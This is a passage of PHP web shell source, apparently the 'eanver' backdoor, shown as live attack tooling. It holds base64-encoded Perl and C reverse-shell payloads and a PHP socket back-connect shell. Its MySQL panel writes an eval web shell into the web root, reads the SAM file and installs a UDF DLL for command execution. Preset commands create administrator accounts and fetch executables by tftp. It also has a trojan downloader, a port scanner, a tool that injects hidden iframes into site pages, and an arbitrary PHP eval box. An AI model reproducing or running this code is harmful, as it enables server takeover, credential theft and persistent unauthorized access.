<option value=\"5\"></option>
<option value=\"6\">FTP</option>
<option value=\"7\">Linux</option>
<option value=\"8\">bash</option>
<option value=\"9\"></option>
<option value=\"10\">Linux</option>
</select>
<input type=\"button\" value=\"\" onclick=\"SubmitUrl();\" style=\"width:80px;\">
</div>
<div class=\"actall\"><textarea name=\"show\" style=\"width:660px;height:399px;\">" . $res . "</textarea></div></center>
</form>");
break;
case "linux":
$yourip = isset($_COOKIE['yourip']) ? $_COOKIE['yourip'] : getenv('REMOTE_ADDR');
$yourport = isset($_COOKIE['yourport']) ? $_COOKIE['yourport'] : "B8388";
$system = strtoupper(substr(PHP_OS, 0, 3));
html_n("<div class=\"actall\"><br>
\"nc -vv -l B8388\"<br>
IP,NC</div>
<form method=\"POST\" name=\"kform\" id=\"kform\">
<div class=\"actall\"> <input type=\"text\" name=\"yourip\" value=\"" . $yourip . "\" style=\"width:400px\"></div>
<div class=\"actall\"> <input type=\"text\" name=\"yourport\" value=\"" . $yourport . "\" style=\"width:400px\"></div>
<div class=\"actall\"> <select name=\"use\" >
<option value=\"perl\">Perl</option>
<option value=\"c\">C</option>
<option value=\"php\">PHP</option>
<option value=\"nc\">NC</option>
</select></div>
<div class=\"actall\"><input type=\"submit\" value=\"\" style=\"width:80px;\"></div></form>");
if ((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) {
setcookie('yourip', $_POST['yourip']);
setcookie('yourport', $_POST['yourport']);
echo "<div class=\"actall\">";
if ($_POST['use'] == 'perl') {
$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
echo File_Write("/tmp/envl_bc", base64_decode($back_connect_pl), 'wb') ? "/tmp/envl_bc<br>" : "/tmp/envl_bc<br>";
$perlpath = Exec_Run('which perl');
$perlpath = $perlpath ? chop($perlpath) : 'perl';
@unlink("/tmp/envl_bc.c");
echo Exec_Run($perlpath . " /tmp/envl_bc " . $_POST['yourip'] . ' ' . $_POST['yourport'] . ' &') ? "nc -vv -l " . $_POST['yourport'] : "";
}
if ($_POST['use'] == 'c') {
$back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
echo File_Write("/tmp/envl_bc.c", base64_decode($back_connect_c), 'wb') ? "/tmp/envl_bc.c<br>" : "/tmp/envl_bc.c<br>";
$res = Exec_Run("gcc -o /tmp/envl_bc /tmp/envl_bc.c");
@unlink("/tmp/envl_bc.c");
echo Exec_Run("/tmp/envl_bc " . $_POST['yourip'] . ' ' . $_POST['yourport'] . ' &') ? "nc -vv -l " . $_POST['yourport'] : "";
}
if ($_POST['use'] == 'php') {
if (!extension_loaded('sockets')) {
if ($system == 'WIN') {
@dl('php_sockets.dll') or die("Can't load socket");
} else {
@dl('sockets.so') or die("Can't load socket");
}
}
if ($system == "WIN") {
$env = array('path' => "c:\\windows\\system32");
} else {
$env = array('PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin");
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$host = $_POST['yourip'];
$port = $_POST['yourport'];
$host = gethostbyname($host);
$proto = getprotobyname("tcp");
if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) {
die("Socket");
}
if (($ret = socket_connect($sock, $host, $port)) < 0) {
die("");
} else {
$message = "----------------------PHP----------------------" . "\n";
socket_write($sock, $message, strlen($message));
$cwd = str_replace('\\', '/', dirname(__FILE__));
while ($cmd = socket_read($sock, 65535, $proto)) {
if (trim(strtolower($cmd)) == "exit") {
socket_write($sock, "Bye\n");
exit;
} else {
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock, $msg, strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock, $msg, strlen($msg));
$return_value = proc_close($process);
}
}
}
}
}
if ($_POST['use'] == 'nc') {
echo "<div class=\"actall\">";
$mip = $_POST['yourip'];
$bport = $_POST['yourport'];
$fp = fsockopen($mip, $bport, $errno, $errstr);
if (!$fp) {
$result = "Error: could not open socket connection";
} else {
fputs($fp, "\n*********************************************\n " . "is ok" . "\n*********************************************\n\n");
while (!feof($fp)) {
fputs($fp, " [[email protected]:/root]# ");
$result = fgets($fp, 4096);
$message = `$result`;
fputs($fp, "--> " . $message . "\n");
}
fclose($fp);
}
echo "</div>";
}
echo "<br> (nc -vv -l " . $_POST['yourport'] . ') ';
}
break;
case "sqlshell":
$MSG_BOX = '';
$mhost = 'localhost';
$muser = 'root';
$mport = '3306';
$mpass = '';
$mdata = 'mysql';
$msql = "select version();";
if (isset($_POST['mhost']) && isset($_POST['muser'])) {
$mhost = $_POST['mhost'];
$muser = $_POST['muser'];
$mpass = $_POST['mpass'];
$mdata = $_POST['mdata'];
$mport = $_POST['mport'];
if ($conn = @mysql_connect($mhost . ':' . $mport, $muser, $mpass)) @mysql_select_db($mdata); else $MSG_BOX = "MYSQL";
}
$downfile = "c:/windows/repair/sam";
if (!empty($_POST['downfile'])) {
$downfile = File_Str($_POST['downfile']);
$binpath = bin2hex($downfile);
$query = "select load_file(0x" . $binpath . ')';
if ($result = @mysql_query($query, $conn)) {
$k = 0;
$downcode = '';
while ($row = @mysql_fetch_array($result)) {
$downcode .= $row[$k];
$k++;
}
$filedown = basename($downfile);
if (!$filedown) $filedown = "envl.tmp";
$array = explode('.', $filedown);
$arrayend = array_pop($array);
header("Content-type: application/x-" . $arrayend);
header("Content-Disposition: attachment; filename=" . $filedown);
header("Content-Length: " . strlen($downcode));
echo $downcode;
exit;
} else $MSG_BOX = "";
}
$o = isset($_GET['o']) ? $_GET['o'] : '';
html_n("<script language=\"javascript\">
function nFull(i){
Str = new Array(11);
Str[0] = \"select version();\";
Str[1] = \"select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile '" . str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']) . "/iis.txt'\";
Str[2] = \"select '<?php eval(\$_POST['cmd']);?>' into outfile '" . str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']) . "/shell.php';\";
Str[3] = \"GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;\";
nform.msql.value = Str[i];
return true;
}");
html_base();
html_n("function SubmitUrl(){
document.getElementById('msql').value = base64encode(document.getElementById('msql').value);
document.getElementById('nform').submit();
}
</script>
<form method=\"POST\" name=\"nform\" id=\"nform\">
<center><div class=\"actall\"><a href=\"?eanver=sqlshell\">[MYSQL]</a>
<a href=\"?eanver=sqlshell&o=u\">[MYSQL]</a>
<a href=\"?eanver=sqlshell&o=d\">[MYSQL]</a></div>
<div class=\"actall\">
<input type=\"text\" name=\"mhost\" value=\"" . $mhost . "\" style=\"width:110px\">
<input type=\"text\" name=\"mport\" value=\"" . $mport . "\" style=\"width:110px\">
<input type=\"text\" name=\"muser\" value=\"" . $muser . "\" style=\"width:110px\">
<input type=\"text\" name=\"mpass\" value=\"" . $mpass . "\" style=\"width:110px\">
<input type=\"text\" name=\"mdata\" value=\"" . $mdata . "\" style=\"width:110px\">
</div>
<div class=\"actall\" style=\"height:220px;\">");
if ($o == 'u') {
$uppath = "C:/Documents and Settings/All Users////exp.vbs";
if (!empty($_POST['uppath'])) {
$uppath = $_POST['uppath'];
$query = "Create TABLE a (cmd text NOT NULL);";
if (@mysql_query($query, $conn)) {
if ($tmpcode = File_Read($_FILES['upfile']['tmp_name'])) {
$filecode = bin2hex(File_Read($tmpcode));
} else {
$tmp = File_Str(dirname(myaddress)) . "/upfile.tmp";
if (File_Up($_FILES['upfile']['tmp_name'], $tmp)) {
$filecode = bin2hex(File_Read($tmp));
@unlink($tmp);
}
}
$query = "Insert INTO a (cmd) VALUES(CONVERT(0x" . $filecode . ",CHAR));";
if (@mysql_query($query, $conn)) {
$query = "SELECT cmd FROM a INTO DUMPFILE '" . $uppath . "';";
$MSG_BOX = @mysql_query($query, $conn) ? "" : "";
} else $MSG_BOX = "";
@mysql_query("Drop TABLE IF EXISTS a;", $conn);
} else $MSG_BOX = "";
}
html_n("<br><br> <input type=\"text\" name=\"uppath\" value=\"" . $uppath . "\" style=\"width:500px\">
<br><br> <input type=\"file\" name=\"upfile\" style=\"width:500px;height:22px;\">
</div><div class=\"actall\"><input type=\"submit\" value=\"\" style=\"width:80px;\">");
} elseif ($o == 'd') {
html_n("<br><br><br> <input type=\"text\" name=\"downfile\" value=\"" . $downfile . "\" style=\"width:500px\">
</div><div class=\"actall\"><input type=\"submit\" value=\"\" style=\"width:80px;\">");
} else {
if (!empty($_POST['msql'])) {
$msql = $_POST['msql'];
$msql = base64_decode($msql);
if ($result = @mysql_query($msql, $conn)) {
$MSG_BOX = "SQL<br>";
$k = 0;
while ($row = @mysql_fetch_array($result)) {
$MSG_BOX .= $row[$k];
$k++;
}
} else $MSG_BOX .= "" . @mysql_error();
}
html_n("<textarea name=\"msql\" id=\"msql\" style=\"width:700px;height:200px;\">" . $msql . "</textarea></div>
<div class=\"actall\">
<select onchange=\"return nFull(options[selectedIndex].value)\">
<option value=\"0\" selected></option>
<option value=\"1\"></option>
<option value=\"2\"></option>
<option value=\"3\"></option>
</select>
<input type=\"button\" value=\"\" onclick=\"SubmitUrl();\" style=\"width:80px;\">");
}
if ($MSG_BOX != '') echo "</div><div class=\"actall\">" . $MSG_BOX . "</div></center></form>"; else echo "</div></center></form>";
break;
case "downloader":
$Com_durl = isset($_POST['durl']) ? $_POST['durl'] : "http://" . getenv('REMOTE_ADDR') . "/down/muma.exe";
$Com_dpath = isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(myaddress) . "/muma.exe");
html_n("<form method=\"POST\">
<div class=\"actall\"> <input name=\"durl\" value=\"" . $Com_durl . "\" type=\"text\" style=\"width:600px;\"></div>
<div class=\"actall\"> <input name=\"dpath\" value=\"" . $Com_dpath . "\" type=\"text\" style=\"width:600px;\"></div>
<div class=\"actall\"><input value=\"\" type=\"submit\" style=\"width:80px;\"></div></form>");
if ((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) {
echo "<div class=\"actall\">";
$contents = @implode('', @file($_POST['durl']));
if (!$contents) echo ""; else echo File_Write($_POST['dpath'], $contents, 'wb') ? "" : "";
echo "</div>";
}
break;
case "upfiles":
html_n("<tr><td>: " . @get_cfg_var('upload_max_filesize') . "<form method=\"POST\" enctype=\"multipart/form-data\">");
html_input("text", "uppath", root_dir, "<br>: ", "51");
html_n("<SCRIPT language=\"JavaScript\">
function addTank(){
var k=0;
k=k+1;
k=tank.rows.length;
newRow=document.all.tank.insertRow(-1)
newcell=newRow.insertCell()
newcell.innerHTML=\"<input name='tankNo' type='checkbox'> <input type='file' name='upfile[]' value='' size='50'>\"
}
function delTank() {
if(tank.rows.length==1) return;
var checkit = false;
for (var i=0;i<document.all.tankNo.length;i++) {
if (document.all.tankNo[i].checked) {
checkit=true;
tank.deleteRow(i+1);
i--;
}
}
if (checkit) {
} else{
alert(\"\");
return false;
}
}
</SCRIPT>
<br><br>
<table cellSpacing=0 cellPadding=0 width=\"100%\" border=0>
<tr>
<td width=\"7%\"><input class=\"button01\" type=\"button\" onclick=\"addTank()\" value=\" \" name=\"button2\"/>
<input name=\"button3\" type=\"button\" class=\"button01\" onClick=\"delTank()\" value=\"\" />
</td>
</tr>
</table>
<table id=\"tank\" width=\"100%\" border=\"0\" cellpadding=\"1\" cellspacing=\"1\" >
<tr><td></td></tr>
<tr><td><input name='tankNo' type='checkbox'> <input type='file' name='upfile[]' value='' size='50'></td></tr>
</table>");
html_n("<br><input type=\"submit\" name=\"upfiles\" value=\"\" style=\"width:80px;\"> <input type=\"button\" value=\"\" onclick=\"window.location='?eanver=main&path=" . root_dir . "';\" style=\"width:80px;\">");
if (isset($_POST['upfiles'])) {
foreach ($_FILES["upfile"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["upfile"]["tmp_name"][$key];
$name = $_FILES["upfile"]["name"][$key];
$uploadfile = str_path($_POST['uppath'] . '/' . $name);
$upload = @copy($tmp_name, $uploadfile) ? $name . $msg[2] : @move_uploaded_file($tmp_name, $uploadfile) ? $name . $msg[2] : $name . $msg[3];
echo "<br><br>" . $upload;
}
}
}
html_n("</form>");
break;
case "guama":
$patht = isset($_POST['path']) ? $_POST['path'] : root_dir;
$typet = isset($_POST['type']) ? $_POST['type'] : ".html|.shtml|.htm|.asp|.php|.jsp|.cgi|.aspx";
$codet = isset($_POST['code']) ? $_POST['code'] : "<iframe src=\"http://localhost/eanver.htm\" width=\"1\" height=\"1\"></iframe>";
html_n("<tr><td>\"|\",.<form method=\"POST\"><br>");
html_input("text", "path", $patht, "", "45");
html_input("checkbox", "pass", "", "", "", true);
html_input("text", "type", $typet, "<br><br>", "60");
html_text("code", "61", "5", $codet);
html_n("<br><br>");
html_radio("", "", "guama", "qingma");
html_input("submit", "passreturn", "");
html_n("</td></tr></form>");
if (!empty($_POST['path'])) {
html_n("<tr><td>:<br><br>");
if (isset($_POST['pass'])) $bool = true; else $bool = false;
do_passreturn($patht, $codet, $_POST['return'], $bool, $typet);
}
break;
case "tihuan":
$newcode = isset($_POST['newcode']) ? $_POST['newcode'] : "";
$oldcode = isset($_POST['oldcode']) ? $_POST['oldcode'] : "";
html_n("<tr><td>,.<br><br><form method=\"POST\">");
html_input("text", "path", root_dir, "", "45");
html_input("checkbox", "pass", "", "", "", true);
html_text("newcode", "61", "5", $newcode);
html_n("<br><br>");
html_text("oldcode", "61", "5", $oldcode);
html_input("submit", "passreturn", "", "<br><br>");
html_n("</td></tr></form>");
if (!empty($_POST['path'])) {
html_n("<tr><td>:<br><br>");
if (isset($_POST['pass'])) $bool = true; else $bool = false;
do_passreturn($_POST['path'], $_POST['newcode'], "tihuan", $bool, $_POST['oldcode']);
}
break;
case "scanfile":
$code = isset($_POST['code']) ? $_POST['code'] : "";
css_js("4");
html_n("<tr><td>MYSQL,.<br>,,.<form method=\"POST\" name=\"sform\"><br>");
html_input("text", "path", root_dir, "", "45");
html_input("checkbox", "pass", "", "", "", true);
html_input("text", "code", $code, "<br><br>", "40");
html_select(array("--MYSQL--", "Discuz", "PHPWind", "phpcms", "dedecms", "PHPBB", "wordpress", "sa-blog", "o-blog", "dedecms", "phpcms"), 0, "onchange='return Fulll(options[selectedIndex].value)'");
html_n("<br><br>");
html_radio("", "", "scanfile", "scancode");
html_input("submit", "passreturn", "");
html_n("</td></tr></form>");
if (!empty($_POST['path'])) {
html_n("<tr><td>:<br><br>");
if (isset($_POST['pass'])) $bool = true; else $bool = false;
do_passreturn($_POST['path'], $_POST['code'], $_POST['return'], $bool);
}
break;
case "scanphp":
html_n("<tr><td>,.<form method=\"POST\"><br>");
html_input("text", "path", root_dir, "", "40");
html_input("checkbox", "pass", "", "<br><br>", "", true);
html_select(array("php" => "PHP", "asp" => "ASP", "aspx" => "ASPX", "jsp" => "JSP"));
html_input("submit", "passreturn", "", "<br><br>");
html_n("</td></tr></form>");
if (!empty($_POST['path'])) {
html_n("<tr><td>:<br><br>");
if (isset($_POST['pass'])) $bool = true; else $bool = false;
do_passreturn($_POST['path'], $_POST['class'], "scanphp", $bool);
}
break;
case "port":
$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : "B87.0.0.1";
$Port_port = isset($_POST['port']) ? $_POST['port'] : "21|23|25|80|110|135|139|445|1433|3306|3389|43958|5631|2049|873";
html_n("<form method=\"POST\">
<div class=\"actall\">IP <input type=\"text\" name=\"ip\" value=\"" . $Port_ip . "\" style=\"width:600px;\"> </div>
<div class=\"actall\"> <input type=\"text\" name=\"port\" value=\"" . $Port_port . "\" style=\"width:597px;\"></div>
<div class=\"actall\"><input type=\"submit\" value=\"\" style=\"width:80px;\"></div>
</form>");
if ((!empty($_POST['ip'])) && (!empty($_POST['port']))) {
echo "<div class=\"actall\">";
$ports = explode('|', $_POST['port']);
for ($i = 0; $i < count($ports); $i++) {
$fp = @fsockopen($_POST['ip'], $ports[$i], $errno, $errstr, 2);
echo $fp ? "<font color=\"#FF0000\"> ---> " . $ports[$i] . "</font><br>" : " ---> " . $ports[$i] . "<br>";
ob_flush();
flush();
}
echo "</div>";
}
break;
case "getcode":
if (isset($_POST['url'])) {
$proxycontents = @implode('', @file($_POST['url']));
$proxycontents2 = $proxycontents;
$proxycontents = @TestUtf8($proxycontents) ? @iconv("utf-8", "gb2312//IGNORE", $proxycontents) : $proxycontents;
if (empty($proxycontents))
$proxycontents = $proxycontents2;
echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b> URL </b></p></center></body>";
exit;
}
html_n("<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">
<form method=\"POST\" target=\"proxyframe\">
<tr class=\"firstalt\">
<td align=\"center\"><b></b></td>
</tr>
<tr class=\"secondalt\">
<td align=\"center\" ><br><ul><li> HTTP ,CSS.</li><li>URL, SQL Injection .</li><li> URL,IP : " . $_SERVER['SERVER_NAME'] . "</li></ul></td>
</tr>
<tr class=\"firstalt\">
<td align=\"center\" height=40 >URL: <input name=\"url\" value=\"http://1212.ip138.com/ic.asp\" type=\"text\" class=\"input\" size=\"100\" >
<input name=\"\" value=\"\" type=\"submit\" class=\"input\" size=\"30\" >
</td>
</tr>
<tr class=\"secondalt\">
<td align=\"center\" ><iframe name=\"proxyframe\" frameborder=\"0\" width=\"765\" height=\"400\" marginheight=\"0\" marginwidth=\"0\" scrolling=\"auto\" src=\"about:blank\"></iframe></td>
</tr>
</form></table>");
break;
case "phpcode":
$phpcode = isset($_POST['phpcode']) ? $_POST['phpcode'] : "phpinfo();";
if ($phpcode != "phpinfo();") $phpcode = htmlspecialchars(base64_decode($phpcode));
echo "<script language=\"javascript\">";
html_base();
echo "function SubmitUrl(){
document.getElementById('phpcode').value = base64encode(document.getElementById('phpcode').value);
document.getElementById('sendcode').submit();
}</script><tr><td><form method=\"POST\" id=\"sendcode\" ><? ?>,BASE64<br><br><textarea COLS=\"120\" ROWS=\"35\" name=\"phpcode\" id=\"phpcode\">" . $phpcode . "</textarea><br><br><input type=\"button\" value=\"\" onclick=\"SubmitUrl();\" style=\"width:80px;\">";
if (!empty($_POST['phpcode'])) {
echo "<br><br>";
eval(stripslashes(base64_decode($_POST['phpcode'])));
}
html_n("</form>");
break;
case "myexp":
$MSG_BOX = "DLL,.MYSQLroot,DLL.";
$info = "";
$mhost = 'localhost';
$muser = 'root';
$mport = '3306';
$mpass = '';
$mdata = 'mysql';
$mpath = "C:/windows/mysqlDll.dll";
$sqlcmd = 'ver';
if (isset($_POST['mhost']) && isset($_POST['muser'])) {
$mhost = $_POST['mhost'];
$muser = $_POST['muser'];
$mpass = $_POST['mpass'];
$mdata = $_POST['mdata'];
$mport = $_POST['mport'];
$mpath = File_Str($_POST['mpath']);
$sqlcmd = $_POST['sqlcmd'];
$conn = @mysql_connect($mhost . ':' . $mport, $muser, $mpass);
if ($conn) {
@mysql_select_db($mdata);
if ((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) {
$query = "CREATE TABLE Envl_Temp_Tab (envl BLOB);";
if (@mysql_query($query, $conn)) {
$shellcode = Mysql_shellcode();
$query = "INSERT into Envl_Temp_Tab values (CONVERT(" . $shellcode . ",CHAR));";
if (@mysql_query($query, $conn)) {
$query = "SELECT envl FROM Envl_Temp_Tab INTO DUMPFILE '" . $mpath . "';";
if (@mysql_query($query, $conn)) {
$ap = explode('/', $mpath);
$inpath = array_pop($ap);
$query = "Create Function state returns string soname '" . $inpath . "';";
$MSG_BOX = @mysql_query($query, $conn) ? "DLL" : "DLL";
} else $MSG_BOX = "DLL";
} else $MSG_BOX = "";
@mysql_query("DROP TABLE Envl_Temp_Tab;", $conn);
} else $MSG_BOX = "";
}
if (!empty($_POST['runcmd'])) {
$query = "select state(\"" . $sqlcmd . "\");";
$result = @mysql_query($query, $conn);
if ($result) {
$k = 0;
$info = NULL;
while ($row = @mysql_fetch_array($result)) {
$infotmp .= $row[$k];
$k++;
}
$info = $infotmp;
$MSG_BOX = "";
} else $MSG_BOX = "";
}
} else $MSG_BOX = "MYSQL";
}
html_n("<script language=\"javascript\">
function Fullm(i){
Str = new Array(11);
Str[0] = \"ver\";
Str[1] = \"net user envl envl /add\";
Str[2] = \"net localgroup administrators envl /add\";
Str[3] = \"net start Terminal Services\";
Str[4] = \"tasklist /svc\";
Str[5] = \"netstat -ano\";
Str[6] = \"ipconfig\";
Str[7] = \"net user guest /active:yes\";
Str[8] = \"copy c:/1.php d:/2.php\";
Str[9] = \"tftp -i B87.0.0.1 get server.exe c:/server.exe\";
Str[10] = \"net start telnet\";
Str[11] = \"shutdown -r -t 0\";
mform.sqlcmd.value = Str[i];
return true;
}
</script>
<form id=\"mform\" method=\"POST\">
<div id=\"msgbox\" class=\"msgbox\">" . $MSG_BOX . "</div>
<center><div class=\"actall\">
<input type=\"text\" name=\"mhost\" value=\"" . $mhost . "\" style=\"width:110px\">
<input type=\"text\" name=\"mport\" value=\"" . $mport . "\" style=\"width:110px\">
<input type=\"text\" name=\"muser\" value=\"" . $muser . "\" style=\"width:110px\">
<input type=\"text\" name=\"mpass\" value=\"" . $mpass . "\" style=\"width:110px\">
<input type=\"text\" name=\"mdata\" value=\"" . $mdata . "\" style=\"width:110px\">
</div><div class=\"actall\">
<input type=\"text\" name=\"mpath\" value=\"" . $mpath . "\" style=\"width:555px\">
<input type=\"submit\" name=\"outdll\" value=\"DLL\" style=\"width:80px;\"></div>
<div class=\"actall\"> <br><input type=\"text\" name=\"sqlcmd\" value=\"" . $sqlcmd . "\" style=\"width:515px;\">
<select onchange=\"return Fullm(options[selectedIndex].value)\">
<option value=\"0\" selected>----</option>
<option value=\"1\"></option>
<option value=\"2\"></option>
<option value=\"3\"></option>
<option value=\"4\">PID</option>
<option value=\"5\">PID</option>
<option value=\"6\">IP</option>
<option value=\"7\">guest</option>
<option value=\"8\"></option>
<option value=\"9\">ftp</option>
<option value=\"10\">telnet</option>
<option value=\"11\"></option>
</select>
<input type=\"submit\" name=\"runcmd\" value=\"\" style=\"width:80px;\">
<textarea style=\"width:720px;height:300px;\">" . $info . "</textarea>
</div></center>
</form>");
break;
case "mysql_exec":
$cookie_name_mysql = $envlpath . "mysql";
if (isset($_COOKIE[$cookie_name_mysql . "user"])) {
die("<meta http-equiv=\"refresh\" content=\"0;URL=?eanver=mysql_msg\">");
}
if (isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) {
if (@mysql_connect($_POST['mhost'] . ':' . $_POST['mport'], $_POST['muser'], $_POST['mpass'])) {
$cookietime = time() + 6 * 3600;
setcookie($cookie_name_mysql . 'host', $_POST['mhost'], $cookietime);
setcookie($cookie_name_mysql . 'port', $_POST['mport'], $cookietime);
setcookie($cookie_name_mysql . 'user', $_POST['muser'], $cookietime);
setcookie($cookie_name_mysql . 'pass', $_POST['mpass'], $cookietime);
die(",...<meta http-equiv=\"refresh\" content=\"0;URL=?eanver=mysql_msg\">");
} else {
echo "";
}
}
html_n("<form method=\"POST\" name=\"oform\" id=\"oform\">
<div class=\"actall\"> <input type=\"text\" name=\"mhost\" value=\"localhost\" style=\"width:300px\"></div>
<div class=\"actall\"> <input type=\"text\" name=\"mport\" value=\"3306\" style=\"width:300px\"></div>
<div class=\"actall\"> <input type=\"text\" name=\"muser\" value=\"root\" style=\"width:300px\"></div>
<div class=\"actall\"> <input type=\"text\" name=\"mpass\" value=\"\" style=\"width:300px\"></div>
<div class=\"actall\"><input type=\"submit\" value=\"\" style=\"width:80px;\"></div>
</form>");
break;
case "mysql_msg":
$cookie_name_mysql = $envlpath . "mysql";
$conn = @mysql_connect($_COOKIE[$cookie_name_mysql . 'host'] . ':' . $_COOKIE[$cookie_name_mysql . 'port'], $_COOKIE[$cookie_name_mysql . 'user'], $_COOKIE[$cookie_name_mysql . 'pass']);
if ($conn) {
html_n("<script language=\"javascript\">
function Delok(msg,gourl)
{
smsg = \"[\" + unescape(msg) + \"]?\";
if(confirm(smsg)){window.location = gourl;}
}
function Createok(ac)
{
if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (eanver BLOB);';
if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
return false;
}");
html_base();
html_n("function SubmitUrl(){
document.getElementById('nsql').value = base64encode(document.getElementById('nsql').value);
document.getElementById('gform').submit();
}
</script>");
$BOOL = false;
$MSG_BOX = ":" . $_COOKIE[$cookie_name_mysql . 'user'] . " :" . $_COOKIE[$cookie_name_mysql . 'host'] . ':' . $_COOKIE[$cookie_name_mysql . 'port'] . " :";
$k = 0;
$result = @mysql_query("select version();", $conn);
while ($row = @mysql_fetch_array($result)) {
$MSG_BOX .= $row[$k];
$k++;
}
echo "<div class=\"actall\"> :";
$result = @mysql_query("SHOW DATABASES", $conn);
while ($db = @mysql_fetch_array($result)) {
echo " [<a href=\"?eanver=mysql_msg&db=" . $db['Database'] . '">' . $db['Database'] . "</a>]";
}
echo "</div>";
if (isset($_GET['db'])) {
@mysql_select_db($_GET['db'], $conn);
$textarea = "";
$querya = "";
$queryb = "";
$queryc = "";
if (isset($_POST['nsql'])) {
$_POST['nsql'] = base64_decode($_POST['nsql']);
$textarea = $_POST['nsql'];
$BOOL = true;
$MSG_BOX = @mysql_query($_POST['nsql'], $conn) ? "" : " " . @mysql_error();
}
if (isset($_POST['insql']) && is_array($_POST['insql'])) {
$query = "INSERT INTO " . $_GET['table'] . ' (';
foreach ($_POST['insql'] as $var => $key) {
$querya .= $var . ',';
$queryb .= '\'' . addslashes($key) . '\',';
}
$query = $query . substr($querya, 0, -1) . ') VALUES (' . substr($queryb, 0, -1) . ');';
$MSG_BOX = @mysql_query($query, $conn) ? "" : " " . @mysql_error();
}
if (isset($_POST['upsql']) && is_array($_POST['upsql'])) {
$query = 'UPDATE ' . $_GET['table'] . ' SET ';
foreach ($_POST['upsql'] as $var => $key) {
$queryb .= $var . '=\'' . addslashes($key) . '\',';
}
$query = $query . substr($queryb, 0, -1) . ' ' . base64_decode($_POST['wherevar']) . ';';
$MSG_BOX = @mysql_query($query, $conn) ? "" : " " . @mysql_error();
}
if (isset($_GET['del'])) {
$result = @mysql_query("SELECT * FROM " . $_GET['table'] . ' LIMIT ' . $_GET['del'] . ', 1;', $conn);
$good = @mysql_fetch_assoc($result);
$query = "DELETE FROM " . $_GET['table'] . ' WHERE ';
